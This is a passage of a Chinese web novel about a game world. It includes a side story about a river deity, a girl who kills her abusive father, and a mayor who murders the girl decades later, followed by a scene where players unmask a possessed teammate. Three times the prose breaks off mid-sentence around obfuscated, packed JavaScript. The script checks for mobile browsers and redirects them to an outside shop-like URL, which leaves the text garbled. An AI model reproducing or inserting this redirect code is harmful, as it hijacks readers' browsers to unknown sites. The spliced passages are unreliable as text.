‘卡利安·尤菲实力不济,死亡不是很正常的事吗?’ 二号蝰蛇也赞同点头。 代号十里就是这样。 每秒都在死数以万计的玩家—— 认识的、陌生的、交好的、结仇的…… 连这些都不能接受,早就尸骨无存了。 【匿名】依旧闲适无比,完全没有刚刚结束一条性命的紧张感。 “卡利安还是死得太轻松了。” 遗憾的目光被他投向段心慈:“没办法,谁让……TOP大人在这里看着呢?” “我只能速战速决了。” ‘…谁让……这位不喜欢虐杀呢。’ 47.伊鲁米尔【番外·上】 河道啊,母亲啊,请别哭泣—— 很久很久以前,在遥远的王国西部。 伫立着一座名为【安图兰】的小镇。 安宁、祥和、其乐融融是这座边境城镇的主基调。 这里的人们信奉【伊鲁米尔】。 【伊鲁米尔】,在王国通用语里被翻译为‘富饶之河’/‘哺育万物的母亲’。 每逢夏季月中,镇民们会家家户户聚在一起,在河道旁主持‘河主祭典’。 张灯结彩,热闹非凡。 他们通过河水中罗摩鱼的鳞色来判断月中抵达的日子。 寻常日子里,罗摩鱼无一例外通体鲜红,仿若滴血。 而在月中的前一天,鲜红的鱼鳞,包括尾纱都会褪成浅浅的粉色,摇曳在清透见底的河流中。 那一日,镇民提前会筹备好祭典当日所需的彩纸船、许愿河灯…… 以及专门投喂有‘河主使者’之称罗摩鱼的禽类生肉。 那些禽类生肉有一个专门的称呼: 羽料。 羽料从来不需要很多,加起来也不过刚好装满一个半人高的鱼篓子。 届时镇民每人只许在这鱼篓子里抓上一把,用以投喂罗摩鱼。 有一则在安图兰小镇里广为流传说法是: 祭典当日,纯白无暇的罗摩鱼吞食谁人扔入河中的羽料…… 谁人许下的愿望就会被河主大人注意,并在未来某天以一种绝不可能的姿态应验。 当然,这只是一种相对具有神秘色彩的说辞。 每月的那个时候罗摩鱼都会集体变成白色,所以白色罗摩鱼究竟有没有许愿的能力不会有人比这群安图兰人更清楚。 …… “…Momi,罗摩鱼真的会把我们的愿望带给河主大人吗?“ “当然会的,宝贝。” “罗摩鱼是河主大人最喜爱的孩子。所以,我的宝贝要认真许愿,说不定河主大人听到以后就会实现哦。” 母亲粗糙温暖的手掌拍着身旁孩子的后背,蹲下身鼓励她胆怯的宝贝:“你看,他们都去拿羽料了。” 小女孩知道母亲的未尽之意。 她抿抿唇,向前奔跑了几步,然后像是想起什么似的回过头—— 在看见母亲依旧站在原地并未走远,这才排进抓取羽料的队伍末尾。 轮到缪卡拉的时候,鱼篓里已经不剩多少羽料。 只有可怜巴巴地一小绺羽料躺在篓子底部。 由于放置的时间过长,甚至有些干硬脱水。 负责看守羽料的是镇上一对结缗已久的伴侣。 女人临时有事,去了别的地方。 见这么小一个孩子自己来拿羽料,男人不禁有些奇怪。 然而等他看清女孩面容的那一刻,也不禁流露出一丝怜悯与不忍。 ‘居然是镇尾雷欧家的…’ ‘那个殴打伴侣、孩子的酗酒败类。’ 大概是他盯着女孩看的目光有些久,女孩警惕地抬眼瞄了中年男人一瞬,抓起鱼篓里最后的羽料头也不回地向河边奔去。 ‘……雷欧啊。’ 男人摇摇头。 他收起空荡的鱼篓子,嘴里哼着赞颂【伊鲁米尔】的曲调离开摊位。 ‘那个女孩,可比你有血性的多。’ ‘你要当心了,雷欧。’ ‘河主就算不存在,她也不会放任孽鼠的灵魂胡来。’ * 天上的月亮皎白柔和,缪卡拉攥紧手中的羽料。 干皱的生肉被她死死捏在掌心。 就像捏着一根救命稻草那样,缪卡拉攥紧滑腻腥甜的羽料。 她越跑越快,直到临近河边才逐渐放缓脚步。 心跳如擂鼓,一声接一声,仿佛心脏要从女孩的喉咙里蹦出。 清透的河面在月光下波光粼粼,如梦似幻。 那些吞食过羽料的罗摩鱼早已从白色变回往日鲜红如血的模样。 它们拖着自身如薄纱如云烟的尾鳍在水中无所事事的游曳。 缪卡拉脚步一顿。 她…… 还是来得太晚了。 握紧羽料的手指无意识地松开。 就在这时变故陡生。 一尾白色骤然出现在她视野中—— 缪卡拉下意识攥紧手中即将坠落的滑腻羽料。 她无法形容那是怎样的白色。 是比河上月星还要凄惨的苍白,是比母亲衣裙还要温柔的皎白…… 那条纯白无暇的罗摩鱼游向缪卡拉的速度实在太快。 它体型又格外庞大,仅仅是露出河面的背鳍就已经赶上其同类的大小。 其它的罗摩鱼被这庞大又莽撞的家伙惊得四处乱窜,河面瞬间同开水沸腾般。 缪卡拉被眼前的这一幕深深震撼。 那尾纯白吸引着缪卡拉情不自禁地走进河水中去,冰冷的河水即将没过女孩的膝盖。 ‘哗啦——’ 伴随嘹亮清越的水声,那头纯白无暇的庞然大物破开河面,高高跃起。 如雾似烟的巨大尾纱遮挡了缪卡拉眼中的月亮,连同月光一起。 目光所及只余下一片朦胧的纯白。 鱼尾甩出冰凉的水珠,砸在女孩脸上又接连滚落。 像泪痕,又像一场迟来的雨。 缪卡拉怔怔伸出手。 手中干瘪的羽料不止何时变得血水充沛,粉色的生肉犹像拥有生命般。 纯白的罗摩鱼撞进她掌心。 鱼颌开合,那一片薄薄的羽料被轻易吞食。 借着跃出水面的力道,那头庞然大物将女孩狠狠一撞—— 缪卡拉被撞回岸上,离开这片暗流湍急的河道。 她呆愣地注视着罗摩鱼游远,最后化作一个白点,彻底消失在自己的视线。 …… 今夜发生的一切都像是在做梦。 缪卡拉牵着母亲的手走在回家的路上。 一路上她沉默寡言,所幸缪卡拉平日里话也不多,并未引起母亲的怀疑。 ‘…罗摩鱼的传说竟然是真的吗?’ ‘河主大人,真的……会实现我的…愿望吗?’ ‘还是说,我今天一直在做梦呢?毕竟……’ ‘还从来没有听说过罗摩鱼…接受羽料后却没有变回红色呢……’ ‘吱呀——’一声,木板门被母亲推开。 一股难闻的酒臭味迎面而来。 缪卡拉感受到母亲握着自己的手紧了紧。 她回握住母亲温暖的手掌,企图通过这种方式来安抚母亲紧绷的神经。 “回来……嗝!” 一个黑影从沙发上摇摇晃晃地站起身。 “回来!就嗝……给老子做饭去!” “我这就去做。” 母亲搭着话,用手轻抚缪卡拉的后背,轻声对她说:“宝贝,你回房间写功课好不好?” “……好的,Momi。” 嘴上说着答应,缪卡拉依旧担忧地望向母亲,不知道该如何安慰她。 想起自己今天许下的堪称疯狂的愿望,女孩心中七上八下。 房间里,缪卡拉缩成一团:‘河主大人……我求您。’ ‘如果看到我的愿望!就让那个畜生不如的男人死去吧!……求您…不管用什么方式!’ 她跪在地板上,双手高举,心底恶念疯长:‘不管有什么代价!我都愿意付出!!’ ‘…河主大人……!’ …… 室内是死水一样的寂静。无人应答。 “……” 缪卡拉僵硬着缓缓收回双手。 她将额头轻轻贴在地面,试图让自己平静下来。 透过房门能隐约听见母亲的炒菜声,还有酒瓶频繁被扔在地上,打碎的刺耳声音。 两种声音交叠在她耳朵里。 缪卡拉只觉有丛生的荆棘从自己柔软的脑浆中长出,以她的痛苦和无能作为养料茁壮成长。 滚烫的泪水浸湿女孩的衣衫,她不禁喃喃自语:“…无所不能的【伊鲁米尔】啊……” “快告诉我,我该怎样结束这一切?!” “结束我的痛苦!结束我的挣扎!结束这炼狱一样的生活!” “……我这一生并未做错过什么啊…” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17514747|202926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >泪水横流间,缪卡拉听见母亲叫她出来吃饭的声音。 她神色麻木地站起身。 却在起身的那一刻,腰间仿佛被什么东西割了一下。 女孩迟钝地抬手向后摸去。 那原本该是一片纯白无暇的鱼鳞,因着划破缪卡拉的后腰,被鲜血染得通红。 鱼鳞比八岁的缪卡拉掌心还要大。 它闪闪发光。 倒映着缪卡拉惊诧的眼眸。 这枚鱼鳞似乎在提示她今天晚上发生的一切都不是幻觉。 鬼使神差地,缪卡拉并没有将这枚鱼鳞扔掉亦或收起。而是将鱼鳞放进外套的口袋中。 她推开房间的门,走进客厅。 ‘啪——’ 一个绿酒瓶碎在缪卡拉的脚边,她像条受惊的活鱼猛地往后跳去。 缪卡拉又听见母亲温声细语,她总是这样过于柔软:“你与孩子置什么气?快来吃饭吧。” 或许今天是真的感到饿,男人只在嘴里随意骂了几句便坐在餐桌上大快朵颐起来。 缪卡拉被母亲拉着手腕,走进厨房。 母亲从一个小锅里盛出她们二人今天要吃的饭。 缪卡拉只是无精打采地扒拉着饭,无心在意今天的菜色。 “贱女人!给我滚过来——!!” 厨房外男人的声音把缪卡拉吓了一大跳。 她惊惧地看向母亲。 母亲温和地冲她摇摇头,用小抹布擦干手上的水迹走出厨房:“我来了——” “怎么发这么大的火?” “……是饭菜,不合口味吗?” 没有回答。 缪卡拉透过厨房门缝,眼睁睁看着一个盛满残羹剩饭的盘子兜头向母亲砸去。 一个模糊的声音在她耳边响起,好似鱼尾搅动水流,气泡浮现又破灭:“你的母亲为了保护你而受伤。” “你还要继续无能下去吗?” 无能……? 无能…… 无能…… ‘……不。’ ‘我不会再逃避!’ 缪卡拉站直身躯,在此之前,她的身躯已经许久未像今天这样舒展过。 厨房门被大力推开,发出的巨响让客厅中的二人齐齐震住。 母亲不可置信地看向缪卡拉。 她的孩子,她的宝贝。 “你出来做什么?饭吃完了吗?” “该死的小贱种!你这是什么眼神?!” 两道声音同时响起。 来了,又来了。 那种割裂的,柔软和愤怒参杂在一起的感觉。 朦胧的白纱,皎洁的月光,粼粼的湖面,还有…… 庞大的,月光下的,纯白无暇的罗摩鱼。 缪卡拉头晕目眩。 她分不清这些究竟是臆想还是真实存在的景象。 ‘我心目中的家不该是这样。’ 她手中不知何时握紧了那片鱼鳞。 ‘身为组成这个‘家’的一部分,我有权利修理掉任何不利于这个家的因素。’ ‘早该如此。’ 缪卡拉极度冷静,至少从外表上来看是这样。 她握紧鱼鳞,那染血的鱼鳞不知何时变成一把锋利的白刃,自上而下。 在母亲因难以置信和悲喜交加而扭曲的目光下,缪卡拉动作生涩地割下其父的头颅。 出乎缪卡拉意料之外的,割裂的断口并没有鲜红的血液喷涌而出。 而是黏稠凝固的,凝胶似的黑血。 女孩神情恍惚地跌进母亲温柔的眼中。 迟缓地意识到这个家里从来不是只有她一个人在苦苦挣扎着维护。 “米修斯。Momi……你自由了。” 缪卡拉喃喃:“我爱你。” “……我也爱你。缪卡拉。” 米修斯双膝跪地,死死抱住她的孩子:“我的宝贝。” 她们相拥、落泪。 趁着夜色,缪卡拉与母亲一起乘坐绿皮小火车离开名为【安图兰】的小镇。 母子二人一路颠簸,旅行。 最后安稳地在王国首都安家落户。 48.伊鲁米尔【番外·下】 米修斯,也就是缪卡拉的母亲在四十三年后离世。 那时缪卡拉已经年过中旬。 尽管许多年过去,她仍时常梦见到那夜晚月光下的河水…… 还有那尾纯白无暇的罗摩鱼。 在米修斯后事结束的第三日,51岁的缪卡拉决定带着母亲下葬的棺椁回到【安图兰】。 她诞生的家乡。 缪卡拉的私人心理医生告诉她: 或许【伊鲁米尔】的河主、许愿与纯白罗摩鱼都是她在极端痛苦之下大脑构成的假象。 这是人体的保护机制,这样的自我保护能顺理成章推动当时年幼的缪卡拉挥刀弑父。 “毕竟,你也说了。” 心理医生盯着她的眼睛:“最后握在你手里的,可是一把刀。” 缪卡拉久久无言。 她没有有力的证据反驳自己的心理医生。 但在最后的最后,她还是做出返回【安图兰】的决定。 不管河主大人亦或罗摩鱼是否是自己脑中的幻觉…… 缪卡拉带着装有米修斯遗体的棺椁与自己在大城市奋斗半生的积蓄,乘坐长途列车回到【安图兰】。 她想要回报【伊鲁米尔】。 那条拯救自己一生的河流。 无论是否只是自己一腔情愿的臆想。 四十三年过去,镇上的居民早已不是当初那批,镇长也早已换人。 在得知缪卡拉带着大量钱财回到【安图兰】打算建设河流后,镇长笑容满面地接待了缪卡拉。 她没有告诉缪卡拉,前三日已经有一波中心城区的人来过这里。 他们打算在河流两岸设立化工厂,这是排放污水的最佳方式。 因为,镇长确实需要缪卡拉带来的丰厚投资。 她算计得很好,但纸终究包不住火。 仅仅两个星期不到,镇长的谎言就败露了。 愤怒至极的缪卡拉冲进镇长办公室大闹一番。 镇长安慰缪卡拉: 一切都是权宜之计,她会尽快让那些中心城区的投资人离开这里。 这一天恰巧是月中的前一天。 四十三年的时间,【伊鲁米尔】因为河道两岸或多或少的开发变得不再清澈。 粉色的罗摩鱼群翻滚在浑浊的泥水里,显得既怪异又恶心。 看见这一幕的缪卡拉只觉得既难过又气愤。 强压下心中的怒意,不断转动左手小拇指上的金戒指…… 她最后决定再相信镇长一次。 自己毕竟年纪大了,无法适应城市的快节奏生活。 这次回到家乡是为定居于此。 她早就想好,母亲会被她亲手安葬在小花园阳光最充足、最温暖的地方。 而她每天只要推开二楼的小窗就能看见米修斯,她的Momi。 在抱有期望的前提下,缪卡拉认为邻里之间没有必要闹得太僵。 但镇长并不这样想。 她不需要一个固执又倔强,脑子还不好使的中年人对自己的工作和决定指手画脚。 第二天。 缪卡拉迟迟没有出现。 镇长对中心城区的三位投资商解释: 缪卡拉忍受不了这里的环境,认为【安图兰】住起来没有大城市舒适,今天一早就离开了。 投资商们虽然觉得怪异,但他们并不在乎缪卡拉是去是留。 只要别阻碍他们赚钱,哪怕是死几个人又有什么关系呢? 夜幕如约降临。 月光同四十三年一样,苍白而凄惨。 灯光接连亮起,一片喜气。 大人小孩在鱼篓前排起长长的队伍,领取羽料。 投资商们在镇长的带领下来到队伍首位。 镇长早已提前安排好,确保这些投资商能摸到最多、最新鲜,血水最充沛的羽料。 “地方不大,不过传说倒是很有趣。” 其中一个身形瘦削的商人对身边的同伴们调侃:“我猜我们大家的愿望都是一样的吧?” “哈哈哈,那是那是。” “无非是,钱从天上来嘛。哈哈!” “好志向!那我就许愿我们躺着就能把钱赚喽!” “好!有钱一起赚!有财一起发!” 投资商之间说笑间将手掌伸入鱼篓。 尽管三人里,没一个人相信【伊鲁米尔】的河主传说,但他们还是下意识地多摸了许多羽料攥在掌心。 一枚有些坚硬的金属圆环膈在其中一位投资商手中。 透过血淋淋的羽料,投资商很快认出这正是缪卡拉昨天戴在小拇指上的金戒指。 他心中一惊,冷汗瞬间浸透了白衬衫。 欢喜和惊惧同时出现在那张圆肥的脸上,显得滑稽又可笑。 浮现在脑海中的第一个念头不是‘缪卡拉死了’。 也不是‘缪卡拉怎么死的?’或‘缪卡拉的戒指怎么出现在鱼篓里和羽料混在一起?’ 而是—— ‘缪卡拉死在这里的事,绝对不能让任何人知道。’ 毕竟这个中年女人是抱着建设河道,这样的目的回来的。 一旦这里的居民知道缪卡拉死去,他们之间若隐若现的敌意总有人会记得。 到时候恐怕不仅要面对难缠的居民还有执法队的询问。 他的化工厂项目可等不及。 想到这里,这位投资商努力使自己的脸部表情看起来正常。 一群人说说笑笑走到河边,只是气氛始终没有一开始那样热络。 羽料像烫手山芋一样被扔进泥水河中。 纯白无暇的罗摩鱼群争先恐后地吞食着这些羽料,一副唯恐有血肉沉入河床的样子把投资商们都逗笑了。 热络的气氛再次回升。 “这些鱼真有趣。” “生怕沉底呢。” 浑浊的泥水翻滚。 月光照在这样污秽的河面上,一丝光也无。 投资商们渐渐觉得乏味。 他们还是更喜欢在山清水秀的好地方休养生息,而不是对着恶臭污秽的河道看白鱼争食。 ‘洸——’ 毫无预兆,一个巨大的浪潮兜头打下。 劈头盖脸地浇了方才说话那人一身污浊恶臭的泥水。 剩下两个投资商见状更是笑得前仰后合。 见河潮有愈发猛烈的势头,三人也不敢再多呆,相互道别后前往各自的旅馆住宿。 直到第二天、第三天、第四天…… 几乎所有人都意识到一个可怕的事实—— 他们被困在了月中这一天。 因为再没有一只罗摩鱼变回红色。 惨白的罗摩鱼在满是污泥的河水中浮潜翻滚。 岸上镇民人心惶惶,面对这样违反常理的景象束手无策。 投资商们聚在一起,任凭他们想得焦头烂额也没有丝毫办法。 最后他们猜测,也许关于【伊鲁米尔】与河主的传说很可能是真的。 他们用缪卡拉,这位善良又可怜的人的血与肉许愿,又怎么可能得到善终?! 投资商们气疯了。 他们认定镇长会知道解决这一切的办法。 三人急匆匆地冲进镇长办公室,却只看到一具吊死在风扇上,干瘪的尸体。 尸体表面脱水严重,就如同四十三年前那个夜晚,被缪卡安紧紧攥在手里的最后一绺羽料。 镇长的桌上放着一封冗长的述罪信。 她自知在劫难逃,不愿面对自己造成的一切,选择上吊自尽。 这群投资商彻底骇住了。 直到此时此刻,他们才终于窥见【安图兰】镇,这座边塞城镇中流传最广的神秘传说:【伊鲁米尔】传说的冰山一角。 ‘我们该怎么做才能逃离这炼狱一样的场景啊!’ 他们难以抑制恐惧地向内心深处发问。 其中一个胆大的投资商提议: 既然我们被困在月中,不如就再次向【伊鲁米尔】的河主许愿吧。 “那纯白无暇的罗摩鱼吞食谁人的羽料,谁人的愿望就会被罗摩鱼带给河主。” “而河主会让这愿望在未来的某一天以一种绝不可能的姿态降临应验。” 他们再没有比这更好,更具有可行性的办法了。 “就按照传说的去办吧!” 其余两位投资商附和。 他们四处寻找飞禽并宰杀。 一通忙碌,三人早已变得狼狈无比。再没有原先的光鲜亮丽,衣冠楚楚。 甚至有个慌张的投资商弄丢了自己一只皮鞋。 好在他们最后收获颇丰。 几人一边扛着鱼篓,一边躲避镇民向河边走去。 通体惨白的罗摩鱼还在浑浊里不断翻滚。 它们扁平的鱼颌一开一合,即便河流中没瞧见任何食物。 投资商们手忙脚乱地将鱼篓里的羽料扔进河中。 怪异的事情发生: 原本嘴巴不断开合的罗摩鱼竟都紧闭鱼颌,白色的鱼眼珠死气沉沉地盯着投资商们。 他们被这样诡异的变故吓傻了。 ‘难道真的要在这里呆到死去吗?!’ 恐惧总促使人做出不够理智,也不高明的决定。 一位投资商推开身旁的同伴,大步跨入河流中。 湍急浑浊的河水没过他的膝盖,冰冷刺骨。 这已然被恐惧冲昏头脑的投资商人摘掉眼镜,弯下腰—— 看准时机 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17514748|202926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,恶狠狠地扯住一只罗摩鱼的鱼鳃,将那可怜的鱼往岸上拖拽。 其余两人见状纷纷上前帮忙。 尽管此时他们也不清楚,自己的这位同伴究竟要做什么? 罗摩鱼被拖上岸,投资商抓起一把血水丰沛的羽料就往罗摩鱼的口中塞去。 一边塞,他一边骂:“吃啊!给我吃!” “敬酒不吃吃罚酒的畜生!” “看我不撑死你!” 罗摩鱼毕竟只是鱼。 它的眼神不怎么人性化,生理构造也注定它无法落泪。 剩下两人见状纷纷效仿同伴的做法: 从河中抓了鱼,将羽料粗暴地塞进鱼腹中,再扔回浑浊又满是泥沙的恶臭河水中。 鱼篓很快重新回到空无一物的状态。 看见罗摩鱼受到惊吓四散离去的模样,三位投资商长长舒了一口气。 “你们都许了什么愿?” 其中一人问。 “缪卡拉复活。我们离开这个鬼地方!” “离开这里……结束这诡异的循环。” “缪卡拉活过来,结束循环……总之,也就这几种。” “别的也实在想不出了。” “我还许了,让缪卡拉的母亲也复活。” 一位投资商用衣角擦了擦镜片,重新戴在脸上。 “这样,缪卡拉活过来以后,看在母亲也复活的份上,不会去警局举报我们。” “可以啊,老宋。我都没想到。” “真有你的!” “不过话说回来,我发誓,我这辈子都不会再踏足这里了……” “……我也是…” “一样……” 三人苦涩地面面相觑。 最后决定先回到旅馆度过这胆战心惊的一天。 为了确保安全,他们聚集,瑟缩在一间狭小又满是霉味的小房间里。 煎熬地等待第二天到来。 当暖融的晨光再一次照在几人身上,他们像群蓬头垢面的疯子,在镇民厌恶的目光中冲向河边。 鲜红的罗摩鱼—— 罗摩鱼是鲜红的。 瞧见这一幕的投资商们全身一软,瘫坐在泥泞的河道旁。 他们知道,自己终于逃离了那个不断循环往复的炼狱。 从【安图兰】镇离开,他们搭乘长途列车,一路上沉默少言。 这一刻,投资商们发誓自己一生都会将【安图兰】镇和【伊鲁米尔】的传说牢牢守在心底,绝不透露给外界半分。 然而,仅仅八年后—— 他们因欠上巨额债务站在【安图兰】小镇的赤土砖门口,和八年前的熟人两两相望。 这一次他们带来的不再是化工厂。 而是一群热衷非法活动,以杀死稀有动物为生计的不法狂徒。 与此同时…… 河道中,有什么东西在血肉河床里粘腻地挣扎。 疯狂转动它第一次生出的眼珠,也再不愿意闭上。 【伊鲁米尔】的另一则传说仅有十二字: 源自母亲的,终要回归母腹中。 * 如果说…… 愿望成真,是一种得到。 【伊鲁米尔】本以为祂的孩子会寿终正寝地回到自己的母宫…… 或者,至少以不那么惨烈的方式。 是以在代号十找上门要求签订条约的时刻,祂毫不犹豫地答应了。 只要能再见一眼缪卡拉,笑眼弯弯缪卡拉…… 祂要给缪卡拉道歉。 祂要让缪卡拉幸福。 为此祂可以付出任何代价。 然而在副本一次次的重启里… 【伊鲁米尔】一次次眼睁睁看着自己爱的孩子被肢解,被剁成羽料…… ……被投河。 而祂只能任由不同玩家扮演自己—— 固定在自己过去的行动轨迹里,一次又一次递给年幼的缪卡拉那片宛如魔咒的鱼鳞。 绝望和最深重的愧疚扼住祂的喉咙。 祂终于明白当初签下的一纸合约不过是粗糙的骗术。 那些玩家根本挣脱不开【伊鲁米尔】,一位神祇的滔天愧疚足够淹没所有。 一错再错。 复活缪卡拉的可能,已经在最开始被祂亲手断送给时间。 “如果有谁能回应神明的愿望……就来结束这一切吧……” 河流身处地狱,因此平静地说:“我心甘情愿,心甘情愿受千刀万剐。” 安图兰镇里,万物都静悄悄的。 暗红的血月像一滴凝固在天空上的血渍。 周遭一丝风也无。 回应伊鲁米尔的,唯有自身…… 一声叠一声的浪潮。 49.不可回收的世界 ‘……我也没拦着你啊?’ 觉得【匿名】无理取闹的同时,段心慈心底喟叹一声。 事实上,撑到第四幕才死第一个已经大大出乎她的预料。 玩家之间的平衡就像孩童吹出的肥皂泡,脆弱到被【匿名】轻易戳破。 ……没关系。 打破平衡的事,当然是要好事成双才对。 比如,从第一个副本起,就举止十分违和的‘穆格罗’。 段心慈双手插兜走向自卡利安死亡后,变得格外沉默寡言的【屠夫】。 事实上【屠夫】这会儿仍然十分震惊: 这群疯子居然就这么眼睁睁看着伙伴死亡,无动于衷。 见对方走近,穆格罗身体下意识往后靠了靠。 他可没忘记这位是怎么轻而易举将【伊鲁米尔】碎尸万断的。 意识到自己的行为有些丢脸后:“……” ‘算了,脸面和活命比起来还是活命更重要。’ “你表现得真的很差劲。” 忒尼斯·厄洛诺斯看热闹不慊事大地拱火:“也可能是五号平时太谨慎了。” 依照穆格罗谨小慎微的性格…… 绝不会说出‘真讲究’这类必然会让艾里门·歌德不悦的话来。 眼下段心慈明显是要拿他开刀,狐蛇也终于可以一吐为快: “至少他从来不会直视TOP的眼睛。” 显然这位顶替的穆格罗的家伙,已经直视过那双怪异的眼睛不知道多少次。 【屠夫】紧张地咽了咽唾沫:“…我说……” ……是不是有什么误会? “你吐食茧的时候不是这么说的。” 段心慈打断他的话,猛地抬起膝盖踹向眼前有过一面之缘的存在。 【屠夫】下意识闪避,速度却远不及对方。 将人暴力按在桌面,黑洞洞的枪口对准他的后脑—— 长发青年一语道出他的姓名:“……元翎。” 【屠夫】,或者说元翎的脸色变了又变。 “…所以……” “你们这是,在替死去的伙伴报仇?” ‘穆格罗的记忆里怎么看不出这群疯子的情谊有多深?’ 不用段心慈亲自开口,嘉里亚·涅挪俯身,在一个兼具安全与压迫感的距离内,向元翎‘好心’解释道:“当然不是。” “我们和穆格罗积怨已久。” ‘一个棘手的,四处倒卖情报的家伙。’ “既然你成为穆格罗,当然是再好不过的事。” “非杀戮场,玩家之间不得故意互相残杀。虽然这里不是杀戮场——” “但你、元翎,也不是玩家。” 已经被副本BOSS侵占躯壳的玩家还算玩家吗? 答案当然是否定的。 他们杀死已经被寄生的玩家也不叫相互残杀。 叫帮助解脱。 【匿名】扫了【死者】一眼。 ‘维莉亚·涅挪的弟弟,以前心理有这么变态吗?’ 他是记性不好,不是完全不记事。 维莉亚闭了闭眼:“嘉里亚,够了。” “不要废话。让他死!” 再多话,就要暴露他们的目的了。 元翎到这个地步都没有挣扎,可见是真的没有后手。 嘉里亚·涅挪一味地废话,拖延时间是没用的。 【生者】接收到【死者】传达的信息,施施然后退一步。 就在青年即将扣下扳机的最后瞬间,元翎终于扯着嗓子喊道:“穆格罗没死!” “…你们冷静!听我说,他没死……” 他还不想像方才被【匿名】‘失手’推下轨道的卡利安·尤菲一样,被这位玩家首席‘不小心’一枪崩了。 那真是连哭都没地方哭。 段心慈:“……你拿什么证明?” 元翎一脸扭曲。 脑花随时会炸开的滋味实在不好受。 所以……他该怎么和这群疯子解释…… 穆格罗的意识里还有一把屠刀? 本以为能顺顺利利占领躯体,现在只能分到1/3的躯体控制权不说,每天还要被那把刀说刻薄话挤兑。 ‘代号十里还有比这更憋屈的事情吗?’ 而让他更没想到的是…… 其余玩家连思考的过程都没有,就选择直接杀死穆格罗。 甚至懒得询问穆格罗本尊是否还有活下来的机会。 这让元翎不禁怀疑,这些家伙是那种,喜欢把活体盟友推进焚化炉的类型。 堪称惊悚。 “我让他出来和你们说……” ‘见鬼,跟你们这群精神病讲不明白!’ 话音落下,穆格罗的眼珠黯淡一瞬,接着被煞气替代。 察觉自己处境的屠刀:“……” 它就知道,元翎让自己出来准没好事。 眼珠迅速再次变暗。 屠刀决定让穆格罗来解决,实在不行就自裁。 总好过连累它。 就这样连换两次,穆格罗终于出现。 意识到自己被玩家首席持枪顶在后脑,那张面如死灰的脸上闪过将死释怀的复杂。 “TOP,我只是给躯体又找了个托管而已……” 他目光飘忽,带着不易察觉的挣扎:“我自己存活率很低啊!找俩代打不是理所当然吗?” ‘这又是什么说法?’ 谢挽非璀璨的眼睛睁圆。 艾里门·歌德却不以为然。 以穆格罗贩卖情报的速度,是代打还是代挨打尚未可知。 【匿名】突然发现自己从前的日子还是太保守。 涅挪姐弟不约而同地感慨—— 他们这届TOP榜出了个请鬼上身的天才。 听到这话,忒尼斯手里的爆米花没拿稳,在落地前被二号接住。 蝰蛇不满地顶了顶她的掌心:‘主脑,不要浪费爆米花。’ 至于波绪拿…… 波绪拿还在睡觉。 “所以,你和元翎达成了什么交易?” 段心慈深知世界上没有免费的打手。 “元翎和键帽分别有1/2的身体使用权。” 谈起这个,穆格罗深感放松:“这样一来我,我只需要在面对死亡时出现,而不是每天都在担惊受怕。” 键帽和元翎单独拎出一个,都比他强。 这俩轮着都打不过的,自己肯定也打不过。 就比如段心慈。 元翎和键帽眼见大事不妙,立刻把穆格罗推出来送死。 “对了,键帽就是那把刀。” 一把杀生如麻的屠刀叫键帽…… ‘取名这么随便,难怪那把屠刀每天怨气深重。’【匿名】摇摇头,看起来很不赞成。 冰冷的枪管离开穆格罗后脑勺。 穆格罗紧绷的肌肉放松。他知道自己暂时安全了。 段心慈没有猫捉老鼠的恶趣味。 如果她想杀死什么……只会一击毙命。 “…TOP,祢还记得,我第三幕的时候……那个非法侵入计算机信息系统罪。” “我记得。” 青年声音冷淡,听不出什么情绪。 “有件事相对重要……” 穆格罗有些踌躇:“我入侵过的一个地下室加密网,说或许今天…又或许明天……” “会有一场陨石雨。” 【屠夫】作为TOP.5,本身攻击数值并不差。但比起TOP.4相比就已经不够看。 因此他立于TOP榜的关键不在于力量,而是对可能发生的危机有着堪称高清全景的无死角监控。 宽泛与细节,缺一不可。 “…还是有些奇怪吧。” “毕竟依照这里的语言习惯,通常使用流星雨这样的词汇。” “陨石雨,我说不上来。” 说完这句话,穆格罗眼睛一暗。 也就是这么一会儿的功夫,元翎再次占据躯体主导。 “我说了吧!他是自愿的!” 红鹦鹉大声嚷嚷着,然后在诡异凝重的气氛里重新闭嘴。 ‘这群玩家完全不在乎同伴的死活,甚至将自身的性命置之度外。’ ‘该死,我到底是被困了多久……’ 忒尼斯投向元翎的目光十分沉重,仿佛在看落伍老古董又像在看什么大傻瓜。 “你和我们,简直格格不入。” 元翎觉得自己被这头厄洛诺斯鄙夷了。 但这又实在是句无法反驳的实话。 他只好老老 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17517423|202926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 实实坐回椅子上,双手搭在膝头。 段心慈无视坐在靠窗的座椅上,闭目养神。 ‘……陨石雨。’ ‘会是什么行动的代号?’ ‘又或者是一个足够特别的事件的指代?’ 灰黑交叠的虹膜中央,猩红的瞳孔深处闪过一丝困惑。 窗外的景色飞速倒退。 